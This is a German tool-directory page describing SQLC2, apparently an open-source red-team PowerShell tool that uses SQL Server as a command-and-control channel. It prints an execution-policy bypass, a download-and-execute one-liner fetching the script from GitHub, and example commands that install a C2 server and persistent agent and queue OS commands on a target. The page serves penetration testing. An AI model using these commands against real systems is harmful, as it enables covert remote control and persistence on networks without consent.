Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SQLC2 — SQLC2 ist ein PowerShell-Skript zur Bereitstellung und Verwaltung eines Command-and-Control-Systems, das SQL Server sowohl als Kontrollserver als auch als Agent nutzt. | Kitploit
Tools/GitHubGitHub/netspi/sqlc2
PersistenzmechanismenPenetrationstestsCloud-SicherheitCommand and ControlRed TeamingDatenbanksicherheit
GitHubnetspi/sqlc2

SQLC2

SQLC2 ist ein PowerShell-Skript zur Bereitstellung und Verwaltung eines Command-and-Control-Systems, das SQL Server sowohl als Kontrollserver als auch als Agent nutzt.

Repository anzeigen
752117vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SQLC2

SQLC2 ist ein PowerShell-Skript zum Bereitstellen und Verwalten eines Command-and-Control-Systems, das SQL Server sowohl als Steuerserver als auch als Agenten verwendet. Im Kern besteht SQLC2 nur aus einem PowerShell-Skript, einem TSQL-Skript und einigen Tabellen in einer SQL Server-Instanz, die Agenten, Befehle und Ergebnisse verfolgt. Nichts Besonderes, könnte sich jedoch bei einigen Engagements als nützlich erweisen.

Für einen vollständigeren Überblick über SQLC2 besuchen Sie den Blog unter https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.

Autor und Lizenz

  • Autor: Scott Sutherland (@_nullbind), NetSPI - 2018
  • Lizenz: BSD 3-Clause
  • Erforderliche Abhängigkeiten: Keine

Warum ein SQL Server-basiertes C2?

Immer mehr Unternehmen beginnen, Azure SQL Server-Datenbanken zu nutzen. Wenn diese Azure SQL Server-Instanzen erstellt werden, sind sie über eine Subdomain von database.windows.net auf Port 1433 erreichbar. Beispielsweise könnte ich eine SQL Server-Instanz mit dem Namen "mysupersqlserver.database.windows.net" erstellen. Infolgedessen erlauben einige Unternehmensnetzwerkkonfigurationen ausgehenden Internetzugriff auf jede Subdomain von "database.windows.net" auf Port 1433.

Die Grundidee ist, dass mit der zunehmenden Verbreitung von Azure SQL Server mehr Möglichkeiten entstehen, SQL Server als einen Steuerkanal zu nutzen, der wie normaler Datenverkehr aussieht. SQLPS ist ein ziemlich einfacher Proof of Concept, aber ich denke, er ist funktional genug, um die Idee zu veranschaulichen. Ich weiß, dass es einige Verbesserungen gibt, aber wenn Sie damit herumspielen, würde ich mich über Ihr Feedback freuen.

Nicht nur für Azure

Obwohl der Schwerpunkt auf der Verwendung von SQLC2 mit Azure SQL Server-Instanzen liegt, könnten Sie Ihren eigenen SQL Server in jeder Cloud-Umgebung hosten und ihn mit SSL auf Port 443 lauschen lassen. Dies bietet je nach Aufwand etwas mehr Flexibilität.

SQLC2 laden

  • Option 1: Laden Sie das Skript herunter und importieren Sie es. Dies erfordert keine Administratorrechte und wird nur in die aktuelle Sitzung importiert. Es kann jedoch durch restriktive Ausführungsrichtlinien blockiert werden, daher sollten Sie die Umgehungsoption verwenden.

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • Option 2: Laden Sie es über eine Download-Cradle in eine Sitzung. Dies erfordert keine Administratorrechte und wird nur in die aktuelle Sitzung importiert. Es sollte nicht durch Ausführungsrichtlinien blockiert werden.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    Hinweis: Um als alternativer Domänenbenutzer auszuführen, verwenden Sie zuerst den Befehl runas, um PowerShell zu starten.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

Grundlegendes SQLC2-Architekturdiagramm

SQLC2Arch

Benutzerfunktionen

Nachfolgend finden Sie eine Liste der Benutzerfunktionen, die die vorgesehenen Arbeitsabläufe unterstützen.

FunktionsnameBeschreibung
Install-SQLC2ServerInstalliert die SQLC2-Tabellen auf dem Ziel-SQL-Server/in der Zieldatenbank.
Install-SQLC2AgentPsInstalliert einen Agenten, der einen SQL Server-Agenten-Job und einen Serverlink verwendet.
Install-SQLC2AgentLinkInstalliert einen Agenten, der eine geplante Aufgabe oder einen Registrierungsschlüssel zur Ausführung von PowerShell-Befehlen verwendet.
Set-SQLC2CommandLegt Betriebssystembefehle fest, die von Agenten ausgeführt werden sollen.
Get-SQLC2CommandRuft eine Liste der ausstehenden Betriebssystembefehle vom C2 für den Agenten ab. Kann den ausstehenden Befehl auch mit dem Flag -Execute ausführen.
Get-SQLC2AgentRuft eine Liste der auf dem SQLC2-Server registrierten Agenten ab.
Get-SQLC2ResultRuft eine Liste der ausstehenden und abgeschlossenen Befehle ab. Unterstützt Filter für Servername, Status und CID.
Remove-SQLC2AgentEntfernt auf dem SQLC2 registrierte Agenten. Löscht lediglich den Verlauf.
Remove-SQLC2CommandEntfernt den Befehlsverlauf auf dem SQLC2-Server.
Uninstall-SQLC2AgentLinkDeinstalliert einen SQLC2-Agenten, der Serverlinks und einen Agenten-Job verwendet.
Uninstall-SQLC2AgentPsDeinstalliert alle auf dem Betriebssystem basierenden Persistenzmethoden.
Uninstall-SQLC2ServerEntfernt die SQLC2-Tabellen aus der Zieldatenbank.

Screenshots

Nachfolgend finden Sie einige Beispiel-Screenshots.

SQLC2-Server installieren (Tabellen erstellen):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install C2

SQLC2-Agent installieren (SQL Server-Agenten-Job mit Serverlink):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install Agent

SQLC2-Agenten anzeigen:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

Befehl zur Ausführung auf dem Agenten festlegen:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

Befehlergebnisse abrufen:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Get Command Output

Tool herunterladen